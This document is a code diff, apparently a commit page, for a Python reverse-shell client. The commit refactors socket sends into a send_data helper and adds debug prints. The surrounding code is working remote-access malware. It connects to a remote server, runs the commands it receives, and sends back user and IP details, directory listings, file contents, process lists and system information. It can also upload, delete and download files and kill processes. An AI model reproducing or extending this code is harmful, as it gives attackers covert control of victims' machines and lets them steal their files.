@@ -22,6 +22,10 @@ def __init__(self, server_ip, server_port, key):
2222 self .sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
2323
2424 def send_data (self , data ):
25+ print (type (data ))
26+ if (type (data ) == str ):
27+ print ('converting to bytes!' )
28+ data = data .encode ('utf-8' )
2529 encrypted_data = self .encrypt (data )
2630 # Send the length of the data first
2731 self .sock .send (struct .pack ('>I' , len (encrypted_data )))
@@ -71,7 +75,7 @@ def run(self):
7175 self .sock .connect ((self .server_ip , self .server_port ))
7276 while True :
7377 command = self .decrypt (self .sock .recv (4096 )).decode ('utf-8' )
74-
78+ print ( command )
7579 if command .lower () == 'exit' :
7680 break
7781
@@ -90,37 +94,42 @@ def run(self):
9094 f"Current User: { getpass .getuser ()} \n "
9195 f"Local IP Address: { local_ip } \n "
9296 )
93- self .sock .send (self .encrypt (client_info .encode ('utf-8' )))
97+ print (type (client_info ))
98+ self .send_data (client_info )
9499
95100 elif command .lower ().startswith ('ls' ):
96101 directory = command .split ()[1 ] if len (command .split ()) > 1 else '.'
97102 try :
98103 files = "\n " .join (os .listdir (directory ))
99104 except FileNotFoundError :
100105 files = f"[-] Directory '{ directory } ' not found."
101- self .sock . send ( self . encrypt ( files . encode ( 'utf-8' )) )
106+ self .send_data ( files )
102107
103108 elif command .lower () == 'pwd' :
104109 cwd = os .getcwd ()
105- self .sock . send ( self . encrypt ( cwd . encode ( 'utf-8' )) )
110+ self .send_data ( cwd )
106111
107112 elif command .lower ().startswith ('cd' ):
108113 directory = command .split ()[1 ] if len (command .split ()) > 1 else '.'
109114 try :
110115 os .chdir (directory )
111- self . sock . send ( self . encrypt ( b "[+] Changed directory."))
116+ message = "[+] Changed directory."
112117 except FileNotFoundError :
113- self .sock .send (self .encrypt (f"[-] Directory '{ directory } ' not found." .encode ('utf-8' )))
118+ message = f"[-] Directory '{ directory } ' not found"
119+ self .send_data (message )
114120
115121 elif command .lower ().startswith ('download' ):
116122 _ , file_path = command .split ()
117123 try :
118124 with open (file_path , 'rb' ) as f :
119125 while chunk := f .read (4096 ):
120- self .sock .send (self .encrypt (chunk ))
121- self .sock .send (self .encrypt (b'EOF' ))
126+ # self.sock.send(self.encrypt(chunk))
127+ self .send_data (chunk )
128+ # self.sock.send(self.encrypt(b'EOF'))
129+ self .send_data (b'EOF' )
122130 except FileNotFoundError :
123- self .sock .send (self .encrypt (b"[-] File not found." ))
131+ # self.sock.send(self.encrypt(b"[-] File not found."))
132+ self .send_data ("[-] File not found." )
124133
125134 elif command .lower ().startswith ('upload' ):
126135 _ , file_name = command .split ()
@@ -139,7 +148,7 @@ def run(self):
139148 output = f"Directory '{ directory } ' created successfully."
140149 except Exception as e :
141150 output = f"Failed to create directory '{ directory } ': { e } "
142- self .sock . send ( self . encrypt ( output . encode ( 'utf-8' )) )
151+ self .send_data ( output )
143152
144153 elif command .lower ().startswith ('delete' ):
145154 _ , file_path = command .split (' ' , 1 )
@@ -154,7 +163,7 @@ def run(self):
154163 processes = ""
155164 for proc in psutil .process_iter (['pid' , 'name' , 'username' ]):
156165 processes += f"PID: { proc .info ['pid' ]} , Name: { proc .info ['name' ]} , User: { proc .info ['username' ]} \n "
157- self .send_data (processes . encode ( 'utf-8' ) )
166+ self .send_data (processes )
158167
159168 elif command .lower ().startswith ('kill' ):
160169 _ , pid = command .split (' ' , 1 )
@@ -163,7 +172,7 @@ def run(self):
163172 output = f"Process { pid } killed successfully."
164173 except Exception as e :
165174 output = f"Failed to kill process { pid } : { e } "
166- self .sock . send ( self . encrypt ( output . encode ( 'utf-8' )) )
175+ self .send_data ( output )
167176
168177 elif command .lower ().startswith ('cat' ):
169178 try :
@@ -174,10 +183,10 @@ def run(self):
174183 self .send_data (file_content )
175184 else :
176185 error_message = f"File { file_path } does not exist or is not a file."
177- self .send_data (error_message . encode ( 'utf-8' ) )
186+ self .send_data (error_message )
178187 except Exception as e :
179188 error_message = f"Error reading file: { str (e )} "
180- self .send_data (error_message . encode ( 'utf-8' ) )
189+ self .send_data (error_message )
181190
182191 elif command .lower () == 'netstat' :
183192 netstat_output = subprocess .check_output ('netstat -an' , shell = True )
@@ -186,7 +195,8 @@ def run(self):
186195 elif command .lower () == 'clear' :
187196 # Clear screen command for the client shell (may not be fully visible in reverse shell setup)
188197 output = "\033 c"
189- self .sock .send (self .encrypt (output .encode ('utf-8' )))
198+ # self.sock.send(self.encrypt(output.encode('utf-8')))
199+ self .send_data (output )
190200
191201 elif command .lower () in ['ifconfig' , 'ipconfig' ]:
192202 if platform .system () == 'Windows' :
@@ -205,7 +215,7 @@ def run(self):
205215 self .send_data (matches )
206216 else :
207217 output = f"No matches found for '{ filename } '."
208- self .sock . send ( self . encrypt ( output . encode ( 'utf-8' )) )
218+ self .send_data ( output )
209219
210220 elif command .lower () == 'sysinfo' :
211221 sys_info = (
@@ -215,11 +225,13 @@ def run(self):
215225 f"RAM: { round (psutil .virtual_memory ().total / (1024 ** 3 ), 2 )} GB\n "
216226 f"Disk: { round (psutil .disk_usage ('/' ).total / (1024 ** 3 ), 2 )} GB\n "
217227 )
218- self .sock . send ( self . encrypt ( sys_info . encode ( 'utf-8' )) )
228+ self .send_data ( sys_info )
219229
220230 else :
221231 output = self .execute_command (command )
222- self .sock .send (self .encrypt (output ))
232+ print (type (output ))
233+ self .send_data (output )
234+ # self.sock.send(self.encrypt(output))
223235
224236 self .sock .close ()
225237
0 commit comments